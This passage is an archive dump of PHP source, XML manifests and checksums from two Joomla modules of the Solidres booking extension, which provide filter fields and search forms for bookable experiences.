 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;
JFormHelper::loadFieldClass('checkboxes');

class JFormFieldFilterByPartner extends JFormFieldCheckboxes
{
	protected $type = 'FilterByPartner';

	protected function getOptions()
	{
		$options = parent::getOptions();
		$db      = JFactory::getDbo();
		$query   = $db->getQuery(true)
			->select('DISTINCT a.id AS value, CONCAT(a.firstname, " ", a.lastname) AS text, ' . $db->q('') . ' AS checked')
			->from($db->qn('#__sr_customers', 'a'))
			->innerJoin($db->qn('#__sr_experiences', 'a2') . ' ON a.id = a2.partner_id');
		$db->setQuery($query);

		if ($rows = $db->loadObjectList())
		{
			$app        = JFactory::getApplication();
			$filterData = $app->getUserState('com_solidres.experience.filterData', array());
			$active     = explode('|', $app->input->getString('owner', ''));

			foreach ($rows as $row)
			{
				$value = (int) $row->value;

				if ($filterData && !empty($filterData['owner'][$value]))
				{
					$row->text .= ' (' . $filterData['owner'][$value] . ')';
				}

				if (in_array($value, $active))
				{
					$row->checked = 1;
				}

				$options[] = $row;
			}
		}

		return $options;
	}
}mod_sr_experience_filter/fields/filterbycategory.php000060400000003147150750153140017142 0ustar00<?php

/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('checkboxes');

class JFormFieldFilterByCategory extends JFormFieldCheckboxes
{
	protected $type = 'FilterByCategory';

	protected function getOptions()
	{
		$options = parent::getOptions();
		$db      = JFactory::getDbo();
		$query   = $db->getQuery(true)
			->select('a.id AS value, a.name AS text, ' . $db->q('') . ' AS checked')
			->from($db->quoteName('#__sr_experience_categories', 'a'))
			->where('a.state = 1');
		$db->setQuery($query);

		if ($rows = $db->loadObjectList())
		{
			$app        = JFactory::getApplication();
			$filterData = $app->getUserState('com_solidres.experience.filterData', array());
			$active     = explode('|', $app->input->getString('cat', ''));

			foreach ($rows as $row)
			{
				$value = (int) $row->value;

				if ($filterData && !empty($filterData['cat'][$value]))
				{
					$row->text .= ' (' . $filterData['cat'][$value] . ')';
				}

				if (in_array($value, $active))
				{
					$row->checked = 1;
				}

				$options[] = $row;
			}
		}

		return $options;
	}

}mod_sr_experience_filter/fields/filterbytransportation.php000060400000003167150750153140020416 0ustar00<?php

/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;
JFormHelper::loadFieldClass('checkboxes');

class JFormFieldFilterByTransportation extends JFormFieldCheckboxes
{
	protected $type = 'FilterByTransportation';

	protected function getOptions()
	{
		$options = parent::getOptions();
		$db      = JFactory::getDbo();
		$query   = $db->getQuery(true)
			->select('a.id AS value, a.name AS text, ' . $db->q('') . ' AS checked')
			->from($db->quoteName('#__sr_experience_transportations', 'a'))
			->where('a.state = 1');
		$db->setQuery($query);

		if ($rows = $db->loadObjectList())
		{
			$app        = JFactory::getApplication();
			$filterData = $app->getUserState('com_solidres.experience.filterData', array());
			$active     = explode('|', $app->input->getString('tran', ''));

			foreach ($rows as $row)
			{
				$value = (int) $row->value;

				if ($filterData && !empty($filterData['tran'][$value]))
				{
					$row->text .= ' (' . $filterData['tran'][$value] . ')';
				}

				if (in_array($value, $active))
				{
					$row->checked = 1;
				}

				$options[] = $row;
			}
		}

		return $options;
	}
}mod_sr_experience_filter/checksums000060400000003617150750153140013517 0ustar0035bebe8ce07a2e9fe8b8a386c309b0b3 modules/mod_sr_experience_filter/fields/filterbycategory.php
4bd7e45ad620f450972baa7feade5f44 modules/mod_sr_experience_filter/fields/filterbypartner.php
229e71b3450e5fbf3f876d2b4e9a43d5 modules/mod_sr_experience_filter/fields/filterbyreview.php
492f3c560d9a6d9acdd9d6fe2231b148 modules/mod_sr_experience_filter/fields/filterbytag.php
dffcefba4b262c929acf7c9bc16018f3 modules/mod_sr_experience_filter/fields/filterbytransportation.php
710147bbe3be79e5cc5997e1e3d30d7c modules/mod_sr_experience_filter/fields/rangebyprice.php
9972f01a89644bfcf3c1e95631b50cde modules/mod_sr_experience_filter/forms/filter.xml
d55359d207f683634d2be17600879942 modules/mod_sr_experience_filter/helper.php
1d5c118a1ce087ee0f980f588a78d69d modules/mod_sr_experience_filter/language/de-DE/de-DE.mod_sr_experience_filter.ini
4776a89419155d84af2146bd27788601 modules/mod_sr_experience_filter/language/de-DE/de-DE.mod_sr_experience_filter.sys.ini
4ae7188ac887bc89e4ec5d023d0eae80 modules/mod_sr_experience_filter/language/en-GB/en-GB.mod_sr_experience_filter.ini
1e33987e7292262fa44e9d4e8c9df443 modules/mod_sr_experience_filter/language/en-GB/en-GB.mod_sr_experience_filter.sys.ini
b3f859ede2754d6c6f727c9a857b3487 modules/mod_sr_experience_filter/language/he-IL/he-IL.mod_sr_experience_filter.ini
6fd4a398a6ca225f9f1cd6729f4803ce modules/mod_sr_experience_filter/language/he-IL/he-IL.mod_sr_experience_filter.sys.ini
eb12faf9819388b2a710ded9eb079d25 modules/mod_sr_experience_filter/language/ru-RU/ru-RU.mod_sr_experience_filter.ini
343b994c88ff019fbcc980ea17c6b287 modules/mod_sr_experience_filter/language/ru-RU/ru-RU.mod_sr_experience_filter.sys.ini
a5c6bfd7fe9d97b260c2eca66b8486f9 modules/mod_sr_experience_filter/mod_sr_experience_filter.php
b1525a66ed920870c30f3c8e8f96a309 modules/mod_sr_experience_filter/mod_sr_experience_filter.xml
e9821a2883cdb88f6453aa8a4fd20692 modules/mod_sr_experience_filter/tmpl/default.php
mod_sr_experience_filter/helper.php000060400000011442150750153140013572 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

class ModSRExperienceFilterHelper
{
	public static function getFilterQueryNames()
	{
		return [
			'cat',
			'range',
			'owner',
			'tran',
			'day',
			'hour',
			'review',
			'distance',
			'ordering',
			'direction',
			'mode',
			'tag',
		];
	}

	/**
	 * @param $params \Joomla\Registry\Registry
	 *
	 * @return JForm
	 *
	 * @since 0.1.0
	 */

	public static function getForm()
	{
		static $form;
		$config   = JComponentHelper::getParams('com_solidres');
		$app      = JFactory::getApplication();
		$language = JFactory::getLanguage();

		if (!$form instanceof JForm)
		{
			$language->load('plg_solidres_experience', SRPlugin::getPluginPath('experience'));
			$form = new JForm('com_solidres.experience_filter');
			$form::addFieldPath(JPATH_ADMINISTRATOR . '/components/com_solidres/models/fields');
			$form::addFieldPath(SRPlugin::getAdminPath('experience') . '/models/fields');
			$form::addFieldPath(__DIR__ . '/fields');
			$form::addFormPath(__DIR__ . '/forms');

			if (SRPlugin::isEnabled('hub'))
			{
				$form::addFieldPath(SRPlugin::getSitePath('hub') . '/models/fields');
			}

			if (!$form->loadFile('filter'))
			{
				throw new RuntimeException('Filter form not found.');
			}

			$durationDays  = $config->get('show_exp_duration_days_filter', 1);
			$durationHours = $config->get('show_exp_duration_hours_filter', 1);

			if ($durationDays || $durationHours)
			{
				$filterData = $app->getUserState('com_solidres.experience.filterData', []);
				$days       = preg_split('/\r\n|\n|,/', trim($config->get('duration_days', '')));
				$hours      = preg_split('/\r\n|\n|,/', trim($config->get('duration_hours', '')));
				$string     = '';

				if ($durationDays && !empty($days))
				{
					$active = explode('|', $app->input->getString('day', ''));
					$option = '';

					foreach ($days as $day)
					{
						if (strpos($day, '-') !== false)
						{
							$checked = in_array($day, $active) ? ' checked="true"' : '';
							$day     = join('-', explode('-', $day, 2));
							$count   = isset($filterData['day'][$day]) ? ' (' . $filterData['day'][$day] . ')' : '';
							$option  .= '<option value="' . $day . '"' . $checked . '>' . $day . ' ' . JText::_('SR_UNIT_DAYS_LABEL') . $count . '</option>';
						}
					}

					if (!empty($option))
					{
						$string .= '<field name="day" type="checkboxes" label="SR_FILTER_DURATION_DAYS" class="exp_filter">' . $option . '</field>';
					}
				}

				if ($durationHours && !empty($hours))
				{
					$active = explode('|', $app->input->getString('hour', ''));
					$option = '';

					foreach ($hours as $hour)
					{
						if (strpos($hour, '-') !== false)
						{
							$checked = in_array($hour, $active) ? ' checked="true"' : '';
							$hour    = join('-', explode('-', $hour, 2));
							$count   = isset($filterData['hour'][$hour]) ? ' (' . $filterData['hour'][$hour] . ')' : '';
							$option  .= '<option value="' . $hour . '"' . $checked . '>' . $hour . ' ' . JText::_('SR_UNIT_HOURS_LABEL') . $count . '</option>';
						}
					}

					if (!empty($option))
					{
						$string .= '<field name="hour" type="checkboxes" label="SR_FILTER_DURATION_HOURS" class="exp_filter">' . $option . '</field>';
					}
				}
			}

			if (!empty($string))
			{
				$form->load('<form><fieldset name="filter">' . $string . '</fieldset></form>');
			}
		}

		if (!$config->get('show_exp_category_filter', 1))
		{
			$form->removeField('cat');
		}

		if (!$config->get('show_exp_partner_filter', 1))
		{
			$form->removeField('owner');
		}

		if (!$config->get('show_exp_range_filter', 1))
		{
			$form->removeField('range');
		}

		if (!$config->get('show_exp_distance_filter', 1))
		{
			$form->removeField('distance');
		}

		if (!$config->get('show_exp_review_filter', 1) || !SRPlugin::isEnabled('feedback'))
		{
			$form->removeField('review');
		}
		else
		{
			$language->load('plg_solidres_feedback', SRPlugin::getPluginPath('feedback'));
		}

		if (!$config->get('show_exp_tag_filter', 1))
		{
			$form->removeField('tag');
		}

		$activeFilters = [];
		$fieldNames    = self::getFilterQueryNames();
		$input         = JFactory::getApplication('site')->input;

		foreach ($input->get->getArray() as $name => $value)
		{
			if (in_array($name, $fieldNames))
			{
				$activeFilters[$name] = explode('|', $value);
			}
		}

		$form->bind($activeFilters);

		return $form;
	}
}
mod_sr_experience_search/tmpl/horizontal.php000060400000015641150750153150015446 0ustar00<?php
/*------------------------------------------------------------------------
  Solidres - Hotel booking extension for Joomla
  ------------------------------------------------------------------------
  @Author    Solidres Team
  @Website   http://www.solidres.com
  @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved.
  @License   GNU General Public License version 3, or later
------------------------------------------------------------------------*/

defined('_JEXEC') or die;
JHtml::stylesheet('plg_solidres_experience/assets/experience.min.css', array(), true);
$input = JFactory::getApplication()->input;
?>
<div class="solidres-module-experience-search <?php echo SR_UI; ?>">
    <form action="<?php echo JRoute::_('index.php?option=com_solidres&task=experiences.search', false); ?>"
          class="form-stacked" method="post">
		<?php if (!empty($categories)):
			$selected = $input->getInt('cat');
			?>
            <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                <div class="<?php echo SR_UI_GRID_COL_12 ?>">
                    <label for="category_id">
						<?php echo JText::_('SR_FIELD_CATEGORY') ?>
                    </label>
                    <select name="category_id" class="input-block-level form-control">
                        <option value=""><?php echo JText::_('SR_FIELD_CATEGORY_SELECT') ?></option>
						<?php foreach ($categories as $category): ?>
                            <option value="<?php echo $category->id; ?>"
								<?php echo $selected == $category->id ? ' selected' : ''; ?>>
								<?php echo $category->name; ?>
                            </option>
						<?php endforeach; ?>
                    </select>
                </div>
            </div>
		<?php endif; ?>

	    <?php if ($rangeByDate): ?>
            <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                <div class="<?php echo SR_UI_GRID_COL_12 ?>">
                    <label>
					    <?php echo JText::_('SR_EXP_SEARCH_FROM_DATE'); ?>
                        <input type="text" id="srFromDate" class="input-block-level form-control"
                               value="<?php echo $fromDateJS; ?>"/>
                        <input type="hidden" name="fromDate" id="srFromDateValue"
                               value="<?php echo $fromDateValue; ?>"/>
                    </label>
                    <label>
					    <?php echo JText::_('SR_EXP_SEARCH_TO_DATE'); ?>
                        <input type="text" id="srToDate" class="input-block-level form-control"
                               value="<?php echo $toDateJS; ?>"/>
                        <input type="hidden" name="toDate" id="srToDateValue" value="<?php echo $toDateValue; ?>"/>
                    </label>
                </div>
            </div>
	    <?php endif; ?>

        <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
			<?php if ($showBaseLocation): ?>
                <div class="<?php echo $colWidth; ?>">
                    <label for="base_location">
						<?php echo JText::_('SR_BASE_LOCATION_LABEL') ?>
                    </label>
					<?php if ($baseLocationFieldType):
						$selected = $input->getString('base_location');
						?>
                        <select name="base_location" class="input-block-level form-control">
							<?php foreach ($baseLocationOptions as $option): ?>
                                <option value="<?php echo htmlspecialchars($option, ENT_COMPAT, 'UTF-8'); ?>"
									<?php echo $selected == $option ? ' selected' : ''; ?>>
									<?php echo $option; ?>
                                </option>
							<?php endforeach; ?>
                        </select>
					<?php else: ?>
                        <input type="text" class="input-block-level form-control" name="base_location"
                               value="<?php echo $input->getString('base_location', $baseLocationDefaultValue); ?>"/>
					<?php endif; ?>
                </div>
			<?php endif; ?>

			<?php if ($showEndLocation): ?>
                <div class="<?php echo $colWidth; ?>">
                    <label for="end_location">
						<?php echo JText::_('SR_END_LOCATION_LABEL'); ?>
                    </label>
					<?php if ($endLocationFieldType):
						$selected = $input->getString('end_location');
						?>
                        <select name="end_location" class="input-block-level form-control">
							<?php foreach ($endLocationOptions as $option): ?>
                                <option value="<?php echo htmlspecialchars($option, ENT_COMPAT, 'UTF-8'); ?>"
									<?php echo $selected == $option ? ' selected' : ''; ?>>
									<?php echo $option; ?>
                                </option>
							<?php endforeach; ?>
                        </select>
					<?php else: ?>
                        <input type="text" class="input-block-level form-control" name="end_location"
                               value="<?php echo $input->getString('end_location', $endLocationDefaultValue); ?>"/>
					<?php endif; ?>
                </div>
			<?php endif; ?>

			<?php if ($showRangeBox && !empty($filterRange)):
				$range = explode('-', $input->getString('range', '-'), 2);
				$minRage = (float) $range[0];
				$maxRage = (float) $range[1];
				?>
                <div class="<?php echo $colWidth; ?>">
                    <label for="range_by_prices">
						<?php echo JText::_('SR_RANGE_BY_PRICES'); ?>
                    </label>
                    <select name="range" class="input-block-level form-control">
                        <option value=""></option>
						<?php foreach ($filterRange as $range):
							$min = $range[0];
							$max = $range[1];
							$selected = $min == $minRage && $max == $maxRage ? ' selected="selected"' : '';
							?>
                            <option value="<?php echo $min . ',' . $max; ?>"<?php echo $selected; ?>>
								<?php
								if ($min > 0.00 && $max > 0.00)
								{
									echo SRExperienceHelper::priceFormat($min) . ' - ' . SRExperienceHelper::priceFormat($max);
								}
                                elseif ($min < 0.01 && $max > 0.00)
								{
									echo '< ' . SRExperienceHelper::priceFormat($max);
								}
                                elseif ($min > 0.00 && $max < 0.01)
								{
									echo '> ' . SRExperienceHelper::priceFormat($min);
								}

								?>
                            </option>
						<?php endforeach; ?>
                    </select>
                </div>
			<?php endif; ?>

            <div class="<?php echo $colWidth; ?>">
                <div class="action">
                    <label for="range_by_prices">
                        &nbsp;
                    </label>
                    <button class="btn btn-block btn-default primary" type="submit"><i
                                class="fa fa-search"></i> <?php echo JText::_('SR_SEARCH') ?></button>
                </div>
            </div>
        </div>
        <input type="hidden" name="Itemid" value="<?php echo (int) $params->get('Itemid'); ?>"/>
		<?php echo JHtml::_('form.token'); ?>
    </form>
</div>mod_sr_experience_search/tmpl/default.php000060400000016716150750153150014705 0ustar00<?php
/*------------------------------------------------------------------------
  Solidres - Hotel booking extension for Joomla
  ------------------------------------------------------------------------
  @Author    Solidres Team
  @Website   http://www.solidres.com
  @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved.
  @License   GNU General Public License version 3, or later
------------------------------------------------------------------------*/

defined('_JEXEC') or die;
JHtml::stylesheet('plg_solidres_experience/assets/experience.min.css', array(), true);
$input = JFactory::getApplication()->input;
?>

<div class="solidres-module-experience-search <?php echo SR_UI; ?>">
    <form action="<?php echo JRoute::_('index.php?option=com_solidres&task=experiences.search', false); ?>"
          class="form-stacked" method="post">
        <fieldset>
			<?php if (!empty($categories)):
				$selected = $input->getInt('cat');
				?>
                <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                    <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                        <label for="category_id">
							<?php echo JText::_('SR_FIELD_CATEGORY') ?>
                        </label>
                        <select name="category_id" class="input-block-level form-control">
                            <option value=""><?php echo JText::_('SR_FIELD_CATEGORY_SELECT') ?></option>
							<?php foreach ($categories as $category): ?>
                                <option value="<?php echo $category->id; ?>"
									<?php echo $selected == $category->id ? ' selected' : ''; ?>>
									<?php echo $category->name; ?>
                                </option>
							<?php endforeach; ?>
                        </select>
                    </div>
                </div>
			<?php endif; ?>

			<?php if ($showBaseLocation): ?>
                <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                    <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                        <label for="base_location">
							<?php echo JText::_('SR_BASE_LOCATION_LABEL') ?>
                        </label>
						<?php if ($baseLocationFieldType):
							$selected = $input->getString('base_location');
							?>
                            <select name="base_location" class="input-block-level form-control">
								<?php foreach ($baseLocationOptions as $option): ?>
                                    <option value="<?php echo htmlspecialchars($option, ENT_COMPAT, 'UTF-8'); ?>"
										<?php echo $selected == $option ? ' selected' : ''; ?>>
										<?php echo $option; ?>
                                    </option>
								<?php endforeach; ?>
                            </select>
						<?php else: ?>
                            <input type="text" class="input-block-level form-control" name="base_location"
                                   value="<?php echo $input->getString('base_location', $baseLocationDefaultValue); ?>"/>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>

			<?php if ($showEndLocation): ?>
                <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                    <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                        <label for="end_location">
							<?php echo JText::_('SR_END_LOCATION_LABEL'); ?>
                        </label>
						<?php if ($endLocationFieldType):
							$selected = $input->getString('end_location');
							?>
                            <select name="end_location" class="input-block-level form-control">
								<?php foreach ($endLocationOptions as $option): ?>
                                    <option value="<?php echo htmlspecialchars($option, ENT_COMPAT, 'UTF-8'); ?>"
										<?php echo $selected == $option ? ' selected' : ''; ?>>
										<?php echo $option; ?>
                                    </option>
								<?php endforeach; ?>
                            </select>
						<?php else: ?>
                            <input type="text" class="input-block-level form-control" name="end_location"
                                   value="<?php echo $input->getString('end_location', $endLocationDefaultValue); ?>"/>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>

			<?php if ($showRangeBox && !empty($filterRange)):
				$range = explode('-', $input->getString('range', '-'), 2);
				$minRage = (float) $range[0];
				$maxRage = (float) $range[1];
				?>
                <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                    <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                        <label for="range_by_prices">
							<?php echo JText::_('SR_RANGE_BY_PRICES'); ?>
                        </label>
                        <select name="range" class="input-block-level form-control">
                            <option value=""></option>
							<?php foreach ($filterRange as $range):
								$min = $range[0];
								$max = $range[1];
								$selected = $min == $minRage && $max == $maxRage ? ' selected="selected"' : '';
								?>
                                <option value="<?php echo $min . ',' . $max; ?>"<?php echo $selected; ?>>
									<?php
									if ($min > 0.00 && $max > 0.00)
									{
										echo SRExperienceHelper::priceFormat($min) . ' - ' . SRExperienceHelper::priceFormat($max);
									}
                                    elseif ($min < 0.01 && $max > 0.00)
									{
										echo '< ' . SRExperienceHelper::priceFormat($max);
									}
                                    elseif ($min > 0.00 && $max < 0.01)
									{
										echo '> ' . SRExperienceHelper::priceFormat($min);
									}

									?>
                                </option>
							<?php endforeach; ?>
                        </select>
                    </div>
                </div>
			<?php endif; ?>

			<?php if ($rangeByDate): ?>
                <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                    <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                        <label>
							<?php echo JText::_('SR_EXP_SEARCH_FROM_DATE'); ?>
                            <input type="text" id="srFromDate" class="input-block-level form-control"
                                   value="<?php echo $fromDateJS; ?>"/>
                            <input type="hidden" name="fromDate" id="srFromDateValue"
                                   value="<?php echo $fromDateValue; ?>"/>
                        </label>
                        <label>
							<?php echo JText::_('SR_EXP_SEARCH_TO_DATE'); ?>
                            <input type="text" id="srToDate" class="input-block-level form-control"
                                   value="<?php echo $toDateJS; ?>"/>
                            <input type="hidden" name="toDate" id="srToDateValue" value="<?php echo $toDateValue; ?>"/>
                        </label>
                    </div>
                </div>
			<?php endif; ?>

            <div class="<?php echo SR_UI_GRID_CONTAINER; ?>">
                <div class="<?php echo SR_UI_GRID_COL_12; ?>">
                    <div class="action">
                        <button class="btn btn-block btn-default primary" type="submit">
                            <i class="fa fa-search"></i>
							<?php echo JText::_('SR_SEARCH') ?>
                        </button>
                    </div>
                </div>
            </div>

        </fieldset>
        <input type="hidden" name="Itemid" value="<?php echo (int) $params->get('Itemid'); ?>"/>
		<?php echo JHtml::_('form.token'); ?>
    </form>
</div>mod_sr_experience_search/helper.php000060400000005736150750153150013564 0ustar00<?php
/*------------------------------------------------------------------------
  Solidres - Hotel booking extension for Joomla
  ------------------------------------------------------------------------
  @Author    Solidres Team
  @Website   http://www.solidres.com
  @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved.
  @License   GNU General Public License version 3, or later
------------------------------------------------------------------------*/

defined('_JEXEC') or die;

class ModSRExperienceSearchHelper
{
	public static function getFilterRangeByPrice()
	{
		static $filterRange;

		if (null === $filterRange)
		{
			$app               = JFactory::getApplication('site');
			$currentCurrencyId = $app->input->cookie->get('solidres_currency', 0, 'int');

			if (!$currentCurrencyId)
			{
				$currentCurrencyId = JComponentHelper::getParams('com_solidres')->get('default_currency_id', 0);
			}

			$db    = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select('filter_range')
				->from('#__sr_currencies')
				->where('id = ' . (int) $currentCurrencyId);
			$db->setQuery($query);
			$filterRange = explode("\r\n", $db->loadResult());
			foreach ($filterRange as &$range)
			{
				$temp  = explode('-', preg_replace('/\s+/', '', $range), 2);
				$range = array((float) $temp[0], (float) $temp[1]);
			}
		}

		return $filterRange;
	}

	public static function getLocations($type)
	{
		static $locations = array();

		if (!isset($locations[$type]))
		{
			$db                 = JFactory::getDbo();
			$query              = $db->getQuery(true);
			$solidresConfig     = JComponentHelper::getParams('com_solidres');
			$isMultilingualMode = $solidresConfig->get('enable_multilingual_mode', 1);
			$lang               = JFactory::getLanguage();

			if ($isMultilingualMode && ($lang->getDefault() != $lang->getTag()) && JComponentHelper::isEnabled('com_falang'))
			{
				$lang      = JFactory::getLanguage();
				$langTable = JTable::getInstance('Language', 'JTable');
				$langTable->load(array('lang_code' => $lang->getTag()));
				$query->select('DISTINCT a.value')
					->from($db->qn('#__falang_content', 'a'))
					->where('a.reference_table = ' . $db->q('sr_experiences'))
					->where('a.reference_field = ' . $db->q($type . '_location'))
					->where('language_id = ' . $langTable->lang_id);
			}
			else
			{
				$query->select('DISTINCT a.' . $type . '_location')
					->from($db->qn('#__sr_experiences', 'a'))
					->where('a.state = 1');
			}

			$db->setQuery($query);

			$columns          = $db->loadColumn();
			$locations[$type] = $columns ? $columns : array();
		}

		return $locations[$type];
	}

	public static function getCategories($ids)
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('a.id, a.name')
			->from($db->qn('#__sr_experience_categories', 'a'));

		if (!empty($ids))
		{
			$query->where('a.id IN (' . join(',', Joomla\Utilities\ArrayHelper::toInteger($ids)) . ')');
		}

		$db->setQuery($query);

		return $db->loadObjectList();
	}

}mod_sr_experience_search/mod_sr_experience_search.xml000060400000021651150750153150017327 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
    <name>mod_sr_experience_search</name>
    <author>Solidres</author>
    <creationDate>Mar 2018</creationDate>
    <copyright>Copyright (C) 2013 - 2018 Solidres. All rights reserved.</copyright>
    <license>GNU General Public License version 3, or later</license>
    <authorEmail>contact@solidres.com</authorEmail>
    <authorUrl>http://www.solidres.com</authorUrl>
    <version>0.6.0</version>
    <description>MOD_SR_EXPERIENCE_SEARCH_XML_DESCRIPTION</description>

    <files>
        <filename module="mod_sr_experience_search">mod_sr_experience_search.php</filename>
        <filename>mod_sr_experience_search.xml</filename>
        <filename>helper.php</filename>
        <filename>checksums</filename>
        <folder>tmpl</folder>
        <folder>language</folder>
    </files>

    <config>
        <fields name="params">
            <fieldset name="basic"
                      addfieldpath="/plugins/solidres/experience/administrator/components/com_solidres/models/fields">
                <field
                        name="Itemid"
                        type="menuitem"
                        default=""
                        label="SR_FIELD_ITEM_ID_LABEL"
                        description="SR_FIELD_ITEM_ID_DESC">
                    <option value="">JNO</option>
                </field>
                <field
                        name="searchByCategory"
                        type="radio"
                        label="SR_FIELD_SEARCH_BY_CATEGORY_LABEL"
                        description="SR_FIELD_SEARCH_BY_CATEGORY_DESC"
                        class="btn-group btn-group-yesno"
                        default="0">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        name="categoryIds"
                        type="expcategory"
                        label="SR_FIELD_CATEGORIES_SELECT_LABEL"
                        description="SR_FIELD_CATEGORIES_SELECT_DESC"
                        multiple="true"
                        showon="searchByCategory:1"/>
                <field
                        type="spacer"
                        hr="true"/>
                <field
                        name="rangeBox"
                        type="radio"
                        label="SR_SHOW_RANGE_BOX_LABEL"
                        description="SR_SHOW_RANGE_BOX_DESC"
                        class="btn-group btn-group-yesno"
                        default="1">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        type="spacer"
                        hr="true"/>
                <field
                        name="baseLocationBox"
                        type="radio"
                        label="SR_FIELD_BASE_LOCATION_LABEL"
                        description="SR_FIELD_BASE_LOCATION_DESC"
                        class="btn-group btn-group-yesno"
                        default="1">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        name="base_location_field_type"
                        type="list"
                        label="SR_EXP_LOCATION_FIELD_TYPE"
                        default="0"
                        showon="baseLocationBox:1">
                    <option value="0">SR_EXP_LOCATION_FIELD_TEXT</option>
                    <option value="1">SR_EXP_LOCATION_FIELD_LIST</option>
                </field>
                <field
                        name="base_location_text_default"
                        type="text"
                        label="SR_EXP_LOCATION_TEXT_DEFAULT_VALUE"
                        showon="baseLocationBox:1[AND]base_location_field_type:0"/>
                <field
                        name="base_location_auto_complete"
                        type="radio"
                        label="SR_EXP_LOCATION_AUTO_COMPLETE"
                        class="btn-group btn-group-yesno"
                        default="0"
                        showon="baseLocationBox:1[AND]base_location_field_type:0">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        name="base_location_list_values"
                        type="textarea"
                        label="SR_EXP_LOCATION_LIST_VALUES"
                        rows="5"
                        cols="25"
                        showon="baseLocationBox:1[AND]base_location_field_type:1"/>
                <field
                        type="spacer"
                        hr="true"/>
                <field
                        name="endLocationBox"
                        type="radio"
                        label="SR_FIELD_END_LOCATION_LABEL"
                        description="SR_FIELD_END_LOCATION_DESC"
                        class="btn-group btn-group-yesno"
                        default="1">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        name="end_location_field_type"
                        type="list"
                        label="SR_EXP_LOCATION_FIELD_TYPE"
                        default="0"
                        showon="endLocationBox:1">
                    <option value="0">SR_EXP_LOCATION_FIELD_TEXT</option>
                    <option value="1">SR_EXP_LOCATION_FIELD_LIST</option>
                </field>
                <field
                        name="end_location_text_default"
                        type="text"
                        label="SR_EXP_LOCATION_TEXT_DEFAULT_VALUE"
                        showon="endLocationBox:1[AND]end_location_field_type:0"/>
                <field
                        name="end_location_auto_complete"
                        type="radio"
                        label="SR_EXP_LOCATION_AUTO_COMPLETE"
                        class="btn-group btn-group-yesno"
                        default="0"
                        showon="endLocationBox:1[AND]end_location_field_type:0">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field
                        name="end_location_list_values"
                        type="textarea"
                        label="SR_EXP_LOCATION_LIST_VALUES"
                        rows="5"
                        cols="25"
                        showon="endLocationBox:1[AND]end_location_field_type:1"/>
                <field
                        name="range_by_date"
                        type="radio"
                        label="SR_EXP_SEARCH_RANGE_BY_DATE_LABEL"
                        description="SR_EXP_SEARCH_RANGE_BY_DATE_DESC"
                        class="btn-group btn-group-yesno"
                        default="0"
                        filter="uint">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
            </fieldset>
            <fieldset
                    name="advanced">
                <field
                        name="layout"
                        type="modulelayout"
                        label="JFIELD_ALT_LAYOUT_LABEL"
                        description="JFIELD_ALT_MODULE_LAYOUT_DESC"/>

                <field
                        name="moduleclass_sfx"
                        type="textarea" rows="3"
                        label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
                        description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"/>

                <field
                        name="cache"
                        type="list"
                        default="1"
                        label="COM_MODULES_FIELD_CACHING_LABEL"
                        description="COM_MODULES_FIELD_CACHING_DESC">
                    <option
                            value="1">JGLOBAL_USE_GLOBAL
                    </option>
                    <option
                            value="0">COM_MODULES_FIELD_VALUE_NOCACHING
                    </option>
                </field>

                <field
                        name="cache_time"
                        type="text"
                        default="900"
                        label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
                        description="COM_MODULES_FIELD_CACHE_TIME_DESC"/>
                <field
                        name="cachemode"
                        type="hidden"
                        default="static">
                    <option
                            value="static"></option>
                </field>
            </fieldset>
        </fields>
    </config>
</extension>
mod_sr_experience_search/mod_sr_experience_search.php000060400000013770150750153150017321 0ustar00<?php
/*------------------------------------------------------------------------
